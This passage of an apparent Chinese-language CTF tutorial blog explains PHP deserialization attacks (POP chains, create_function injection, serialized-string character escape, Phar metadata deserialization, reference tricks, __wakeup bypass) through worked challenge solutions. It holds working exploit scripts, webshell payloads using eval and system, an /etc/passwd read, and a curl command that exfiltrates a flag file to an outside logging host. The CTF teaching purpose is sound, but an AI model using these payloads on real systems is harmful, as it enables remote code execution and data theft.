是魔术方法,当访问一个不存在或无法访问的属性时,自动触发。在Saw
类中的__toString
方法存在$this->gun['gun']->fearless;return "Saw";
,那么我们只需要让属性gun
赋值为一个关联数组,其中键名gun
的值为Petal
对象即可。 -
寻找可以调用
Saw
类的__toString
方法: 在本类中__wakeup
存在preg_match
正则匹配函数,对source
属性进行校验,因此,我们只需要将source
属性赋值为Saw
对象即可触发__toString
,而__wakeup
在反序列化的时候自动调用。
构造 EXP:
<?php
class Vox{
protected $headset = "php://filter/read=convert.base64-encode/resource=flag.php";
public $sound;
}
class Saw{
public $fearless;
public $gun;
}
class Petal{
public $seed;
}
$obj = new Vox;
$obj2 = new Petal;
$obj2->seed = $obj;
$obj3 = new Saw();
$obj3->gun = array('gun' => $obj2);
$obj3->fearless = $obj3;
echo urlencode(serialize($obj3));
?>
例题-4
选自第二届赣网杯 web2 PHP7环境
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>
数组特性
当一个数组中存在两个元素,第一个元素则是实例化某个类
,第二个元素是个该类的方法名字符串。那么当我们执行$arr();
调用该数组的时候,则会调用该方法(第二个函数名字符串)。
适用于 PHP5、PHP7
<?php
class Demo {
public function info() {
echo "我是 Demo 类 的 info 函数";
}
}
$arr = [new Demo, 'info'];
$arr();
?>
分析:
-
了解数组的特性之后,在
func
类中的析构方法中存在unserialize($this->key)();
,我们只需要将 key 属性赋值为数组array(new GetFlag, 'get_flag')
并将其进行序列化即可调用GetFlag
类get_flag
方法。 -
在
Get_flag
类下的get_flag
方法中发现存在$a=$this->action;$a('', $this->code);
其实这里我们可以使用create_function
。即可实现任意代码执行。
构造 EXP:
<?php
class func {
public $mod1;
public $mod2;
public $key;
}
class GetFlag {
public $code = '}system($_GET[1]);echo 123;//';
public $action = "create_function";
}
$f = new func;
$gf = new GetFlag;
$f->key = serialize([$gf, 'get_flag']);
echo serialize($f);
?>
利用:
字符逃逸
字符逃逸的本质
字符逃逸本质: 对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。
解题思路
-
写出基本的序列化(传参入口的)
-
写出注入对象的序列化 (POP链构造)
-
分析是长到短还是短到长的替换
-
算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串的长度,保证这个长度是替换的差值的整数倍,如果不能保证,则加字符串使其成为整数倍。
-
构造替换,对象注入
例题-1 长到短
选自: DASCTF Esunserialize
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));
?>
题目分析:
-
反序列的控制点在A类的两个属性中,而并不是直接的
unserialize()
参数可控。 -
通过传入参数a和b分别赋值给A类的 username 和 password 属性之后进行序列化,分别经过
write()
和read()
函数之后再进行反序列化。 -
wirte():
其主要作用是将不可见字符0
,不可见字符这里以 0 表示,将0*0
替换为\0\0\0
-
read():
其主要作用是将\0\0\0
替换为不可见字符0
, 不可见字符 以0
表示,替换为0*0
-
这里由于对
\0\0\0
使用的是单引号,故而不进行转义,那么就导致可能从6位长度的字符替换为3位长度的字符。不等长的替换,可能就存在字符逃逸,而这里由于是从6位到3位,因此这里是由长到短的替换。 -
最后我们构造 POP 链即可,将注入对象作为
username
或password
属性的值即可。
解题思路:
-
序列化入口类:
<?php
class A{
public $username = "UA";
public $password = "PW";
// function __construct($a, $b){
// $this->username = $a;
// $this->password = $b;
// }
}
echo serialize(new A);
// O:1:"A":2:{s:8:"username";s:2:"UA";s:8:"password";s:2:"PW";}
?>
-
构造 POP 链 序列化注入对象:
<?php
class B{
public $b = 'gqy';
// function __destruct(){
// $c = 'a'.$this->b;
// echo $c;
// }
}
class C{
public $c;
// function __toString(){
// //flag.php
// echo file_get_contents($this->c);
// return 'nice';
// }
}
$obj1 = new B;
$obj2 = new C;
$obj1->b = $obj2;
$obj2->c = 'flag.php';
echo serialize($obj1);
// O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
?>
-
将A对象的
username
或password
属性赋值为反序列化B类
其中标注红的则是注入对象的值,但是由于是字符串传入,因此会把该序列化值当作普通字符串,很明显是利用不成功的。
但是有了不等长替换从 6位 替换为 3位 之后,那么我们就可以将一些没用的东西吃掉。
例如:
我们在 username 处传入\0\0\0
当经过read()
函数之后则会变成:
经过read()
长到短之后,就带入到unserialize()
函数进行反序列化,由于原本值长度为6位,但是替换之后实际长度变成了3位,那么 PHP 则会向后再取3位。最终由于语法格式不对,导致反序列化错误。
那么我们如果巧妙的刚好把它替换为一个合法的序列化字符串呢?是不是就达到了利用效果呢?
首先我们先计算要吃掉的字符串长度:
由于序列化字符串的格式都是属性;值;属性;值
,而我们将其吃掉之后,就变成了属性;值;值;
,不符合要求,故而我们添加一个属性名,假设为password
:
但是上图中红色文字末尾的需要进行闭合,我们添加闭合内容:
接下来就符合要求了,那么$_GET[b]
传入的值就为:
最后我们只需要计算需要多个对\0\0\0
替换即可,前面计算出来我们需要吃掉 22 个字符。
而每对6位字符\0\0\0
替换为3个字符
,也就是22 / 3
是除不尽的。
那么该怎么办呢?其实很简单,在password
前面加入两个字符,让吃掉的字符变为 24即可,让其除的进,这里特别注意,不能在username
处加入,因为这会影响值的长度。
于是 password ,也就是$_GET[b]
的值为:
最终 22 / 3 得8,于是username
处只需要8对\0\0\0
即可。
?a=UA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"
例题-2 短到长
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(write(read(serialize($a))));
?>
题目分析:
请参照长到短的替换题目分析,这里只不过是将0*0
3位字符(其中0为不可见字符),变成了\0\0\0
6位字符。
解题思路:
-
序列化入口类
与长到短一致,这里只放截图:
-
构造 POP 链 序列化注入对象
与长到短一致,这里只放截图:
-
将A对象的
username
或password
属性赋值为反序列化B类
-
构造闭合
由于不符合序列化字符串的规范,故而我们需要构造闭合:
-
计算要挤出的长度
由于write
函数每替换一次,都会增加3个字节,所以逃逸数据必须是3的倍数,上面挤出的长度为78,是3的倍数,可以不用动,如果不是3的倍数,则可以修改属性名
的方法,使其成为3的倍数,例如下图尖头所指位置:
最后只需要 26对0*0
(0为不可见字符)即可,本地测试代码:
<?php
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
class A{
public $username;
public $password;
}
$a = new A;
// $b = unserialize(write(read(serialize($a))));
$a->username = urldecode('%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:2:"xx";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"');
$a->password = 'x1ong';
echo write(serialize($a));
?>
运行结果如下:
此时xx
属性就被挤出来了,其值为B
类生成的对象。
利用:
?a=%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%22;s:2:%22xx%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}s:0:%22%22;s:0:%22&b=x1ong
Phar
当我们在做反序列化的题目时,如果没有unserialize()
函数,或者该函数的参数我们不可控时,我们又该何去何从呢?
Phar 是什么
Phar
归档最好的特点是可以方便将多个文件组成一个文件,因此phar
归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,它不需要将其提取到磁盘,此外,PHP可以像执行任何其他文件一样轻松地执行Phar
归档,无论是在命令行上还是在 Web服务器上。
在上传包含中的利用
可以上传图片,但不能上传 php,可以包含但是只能include($userinput . ".php")
。
利用方法: 压缩一个 shell.php 到 1.zip 文件中,重命名为 1.png 上传包含:zip://upload/1.png#shell
或phar://upload/1.png/shell
。
由于 使用zip://
伪协议,大多数需要自行安装 PHP 扩展,有些环境可能没有安装该扩展,导致该协议无法使用,那么phar://
协议则是一个很好的替代, PHP 自带该扩展。
Phar 文件格式
可以从Phar
文件格式中看到,其中用户自定义的Meta-data
会以序列化的形式存储,那么使用Phar
文件的时候一定会进行反序列化,至此在没有unserialize()
函数的时候,同样达到了unserialize()
函数的效果。
Phar 反序列化条件
-
需要有可用的类,类下有魔术方法,最后 POP Chain 调用到危险方法
-
由于
phar://
协议是文件流协议,故而需要使用文件操作相关的函数去使用(触发)该协议。 -
有上传或者写文件的操作,可以把无损的
phar
文件上传或写入到 web服务器的相关目录,后缀名任意。
本地构造 Phar 的条件
需要修改php.ini
配置文件,将phar.readonly = On
设置为phar.readonly = Off
即关闭。
构造 Phar 反序列化
-
把
class
类中的代码复制下来,把方法进行注释。 -
构造
POP
链 -
使用如下代码构造
Phar
文件。
<?php
$phar = new Phar("phar.phar");
$phar->startBuffering(); // 签名自动计算
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
触发 Phar 的函数
知道创宇测试后可以使用phar://
协议的列表:
但实际不止这些,更多可参考: https://blog.zsxsoft.com/post/38
例题-1
选自 [NewStarCTF 2023 公开赛道]PharOne BUUCTF 可开环境
打开环境映入眼帘的是文件上传页面。右键查看页面源代码发现class.php
:
访问该文件,获得如下源码:
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
是一个很简单的反序列化题目,但是我们没有unserialize()
函数我们如何进行反序列化呢?答案就是上传一个phar
文件。使用unlink
函数触发phar://
协议即可。
构造序列化:
<?php
class Flag{
public $cmd;
}
$o = new Flag;
$o->cmd = 'echo PD9waHAgZWNobyAxMjM7ZXZhbCgkX0dFVFswXSk7Pz4= | base64 -d > upload/x1ong.php';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
将生成的phar.phar
修改为后缀phar.png
上传,但是题目告诉我们不能有__HALT_COMPILER
需要进行绕过。
而绕过方法就是对其该文件进行 gzip 压缩上传即可。
可以看到压缩过后的文件内容并没有匹配信息。而是压缩包文件,而phar协议无需解压就认识gzip格式的文件。
但是很遗憾,由于种种原因,最终都没有写入成功木马(),经过反复测试发现容器可以上网但是不存在ping
命令,存在curl
命令,于是我们就可以使用数据外带。
重新构造序列化:
<?php
class Flag{
public $cmd;
}
$o = new Flag;
$o->cmd = 'curl http://******.ceye.io/`cat /flag |base64`';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
其中的域名替换成自己 ceye 平台的域名即可,重复上述操作,将phar.phar
文件进行 gzip 压缩之后,将后缀名修改为.png
然后上传到服务器。
接着访问class.php
文件利用传入file
参数利用即可:
来到ceye
平台查看 HTTP 记录,将其中的 base64 解码即可得到 FLAG。
之后看了网上的其他 WP 发现可以写马,只不过需要指定绝对路径,例如echo '<?php system($_GET[0]);?> > /var/www/html/1.php'
。
例题-2
选自 [DASCTF 2020 圣诞赛] WEB-easyphp
题目源码:
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>
通过源码分析发现题目考点是变量覆盖
,可以通过该漏洞实现任意文件读取。其 PAYLOAD 为:
?var[template][tp1]=/etc/passwd&tp=tp1
具体参加文章: https://www.qwesec.com/2024/02/variables-overriding.html#%E4%BE%8B%E9%A2%98-3
虽可以进行任意文件读取,但是由于flag
文件不是常规的文件名称,故而不知道文件名无法进行读取。那么我们只能读取模版类template.php
。
?var[template][tp1]=template.php&tp=tp1
获取源码如下:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/"; // 匹配
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>
通过审计代码发现存在Template
类、魔术方法__destruct()
调用了危险方法render()
,在该方法内将类的属性content
、suffix
带入到了file_put_contents
函数中。
那么我们如果使用反序列化,将content
和suffix
赋值为一句话木马和php后缀的文件。是不是就可以利用了呢?
但是很遗憾,由于并没有unserialize()
函数,也就是说无法进行反序列化,那么真是如此吗?答案不是,我们注意到,在index.php
文件中存在file_get_contents()
函数,参数我们完全可控。并没有进行任何的过滤。
那么我们是不是可以将生成的phar
文件 通过模版渲染写入到web服务器的uploads
目录下。
然后通过file_get_contents()
函数触发phar://
,从而进行反序列化调用魔术方法__destruct
进行任意文件写入。
构造序列化:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
}
$o = new Template;
$o->content = '<?php echo 123;@eval($_POST[0]);?>';
$o->suffix = ".php";
?>
生成phar文件:
<?php
class Template{
public $content;
public $pattern;
public $suffix;
}
$o = new Template;
$o->content = '<?php echo 123;@eval($_POST[0]);?>';
$o->suffix = ".php";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
那么问题来了,我们如何将生成的phar.phar
文件上传到服务器呢?两种方法。
-
将
phar.phar
文件放入到公网服务器,使用file_get_contents()
发起 HTTP 请求获取。但是要求是靶机出网。 -
对
phar.phar
文件的内容进行 base64 编码,让file_get_contents()
函数从 data 伪协议中获取。但是要求 PHP相关配置开启。
我们就使用第二种方法,首先读取生成的phar.phar
文件,并进行base64
编码:
通过变量覆盖漏洞将该文件写入即可:
?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2bDQqpAAAAAQAAABEAAAABAAAAAABzAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjM0OiI8P3BocCBlY2hvIDEyMztAZXZhbCgkX1BPU1RbMF0pOz8%2bIjtzOjc6InBhdHRlcm4iO047czo2OiJzdWZmaXgiO3M6NDoiLnBocCI7fQgAAAB0ZXN0LnR4dAQAAABXjPplBAAAAAx%2bf9i2AQAAAAAAAHRlc3Su6chtb1iLQjdSQ1VrEjks35n0SQIAAABHQk1C&tp=tp1
需要注意的是: 由于Base64编码中可能存在+
,我们通过 GET 请求传入时,需要进行 URL 编码。
访问生成的模版文件,即可看到 phar 文件的内容:
现在服务器上有了Phar
文件,那么我们该如何使用phar://
触发反序列化呢?
答案是使用index.php
文件中的file_get_contents
:
?var[template][tp1]=phar://uploads/cb8a7229e230ef0d397727e74a2ee8ae/e9fa73ba88cd4fe4c7777de19b5daa83.html&tp=tp1
由于我们使用phar://
协议,phar 协议在解析 phar 文件的时候,由于元数组是Template
类的序列化字符串,故而进行反序列化,反序列化之后由于Template
类存在析构方法故而进行调用,同时也调用了render
方法进行文件的写入。
最后访问生成的 php 文件即可,利用即可:
指针引用
例题-1
选择 BUUCTF 平台: BUU CODE REVIEW 1
<?php
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
分析:
根据题目我们可以得知,这里涉及到了 MD5 弱类型比较问题,经过 MD5 弱类型比较之后,会进行反序列化。
下面我们来看类中的关键代码:
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
可以看到,我们需要反序列化BUU
类,同时$this->correct = base64_encode(uniqid());
,而需要我们通过反序列化修改input
属性的值达到与corrent
属性(随机生成的值)一致。才会输出 FLAG。
而uniqid()
函数则用于生成一个唯一ID。效果大概如下:
可以发现该函数的前缀是一样的,是因为它获取一个带前缀、基于当前时间微秒数的唯一ID。由于我们执行时间差不多,故而一样,但是后面是随机的十六进制,故而暴破可能性基本没有。
那么我们该如何给赋值input
让其等于 随机生成的uniqid()
,其实在 PHP 中是支持引用赋值的。例如:
那么我们只需要将input
属性的值引用自correct
属性即可。
构造序列化:
<?php
class BUU {
public $correct = "";
public $input = "";
public function __construct() {
$this->input = & $this->correct; // 值引用
}
// public function __destruct() {
// try {
// $this->correct = base64_encode(uniqid());
// if($this->correct === $this->input) {
// echo file_get_contents("/flag");
// }
// } catch (Exception $e) {
// }
// }
}
echo serialize(new BUU);
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>
利用:
关于 MD5 弱类型如果不理解请参考: https://www.qwesec.com/2024/02/ctfweb-md5.html
例题-2
选自: [蓝帽杯2020第四届 线上赛]Soitgoes
<?php
highlight_file(__FILE__);
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
if (isset($_GET['ser'])) {
unserialize($_GET['ser']);
}
分析:
-
我们要执行的目标为
Flag
类下的getFlag()
方法。 -
寻找可以调用
Flag
类下的getFlag()
方法的类: 发现为Seri
类的alize
属性赋值为Flag
类生成的对象,即可触发 getFlag() 方法。
我们来看下getFlag()
方法的代码:
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
可以看到,需要t1
和t2
的值完全相等并且为f
属性赋值为想要读取的文件名称flag.php
即可得到 FLAG。
但是由于t2
的属性值为 随机数1-10000
之间随机生成的值并进行 MD5 加密之后的结果。由于是万分之一可能性,所以我们假设t2
属性为一个值并进行暴破。
不过我们有更好的解决方法,那就是使用值引用。
构造序列化:
<?php
class Seri{
public $alize;
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct(){
$this->t1 = & $this->t2;
}
}
$s = new Seri;
$flag = new Flag;
$s->alize = $flag;
$flag->f = 'flag.php';
echo serialize($s);
// O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";N;s:2:"t2";R:4;}}
利用:
如果使用暴破进行做题也可以,假设随机到的值为5000,那么我们就构造如下,这里就不贴序列化用的代码了,直接看序列化值:
O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"a35fe7f7fe8217b4369a0af4244d1fca";s:2:"t2";N;}}
接着使用 burp 抓包发到Intruder
模块即可,大概在 1929 次数据包之后得到了 FLAG。
反序列化特性及绕过方法
关键字过滤
<?php
class BUU {
public $file = "index.php";
public function __destruct() {
if (isset($this->file) && !stripos('flag', $this->file)) {
highlight_file($this->file);
}
}
}
if (isset($_GET['ser'])) {
unserialize($_GET['ser']);
} else {
$o = new BUU;
}
?>
通过代码来看这是一道很简单的反序列化题目,但是由于过滤了flag.php
导致我们无法直接使用flag.php
关键字。
我们先按照常规构造 EXP:
<?php
class BUU {
public $file = "index.php";
// public function __destruct() {
// if (isset($this->file) && !stripos('flag', $this->file)) {
// highlight_file($this->file);
// }
// }
}
$o = new BUU;
$o->file = 'flag.php';
echo serialize($o);
// O:3:"BUU":1:{s:4:"file";s:8:"flag.php";}
?>
在反序列化值类型中,如果值类型为大写的S
,则先进行解码,那么我们只需要将flag.php
按照一定规则编码即可: 先将每个字符转为十进制的ASCII码,再将其转为十六进制即可。
编写 Python 代码:
s = 'flag.php'
result = ''
for i in s:
result += hex(ord(i))
print(result.replace('0x','\\')) # \66\6c\61\67\2e\70\68\70
最终构造:
O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}
绕过__wakeup
CVE-2016-7124: 当成员属性数目大于实际数目时可绕过wakeup
方法的执行
影响版本:
PHP5: < 5.6.25
PHP7: < 7.0.10
常规反序列化:
利用 CVE-2016-7124 的反序列化:
例题: [极客大挑战 2019] PHP 1 BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/buuctfWeb.html#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86-CVE-2016-7124
这种方法也叫做畸形序列化字符串,畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
快速析构
快速析构的原理: 当php
接收到畸形序列化字符串时,PHP 由于其容错机制,依然可以反序列化成功。 但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以 PHP 对这个畸形序列化字符串 得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法__destruct()
。
应用场景: 某些题目需要利用__destruct
才能获取flag,但__destruct
是在对象被销毁时才触发 (执行顺序太靠后),__destruct
之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct
方法。
畸形字符串的构造:
-
改掉属性的个数
-
删除末尾的
}
示例:
常规序列化:
畸形序列化字符串:
PHP7.1 对属性权限不敏感
特性: php>7.1 版本对类属性的检测不严格 (对属性类型不敏感)
先看 PHP 7.1 以下的版本,对类属性的权限是敏感的:
而我们来看 PHP 7.1 以上的版本,对类属性的权限是不敏感的:
例题: 网鼎杯 2020 青龙组 AreUSerialz BUUCTF 平台可开环境
Writeup: https://www.qwesec.com/2023/11/areUSerialz.html
个人博客地址: https://www.qwesec.com
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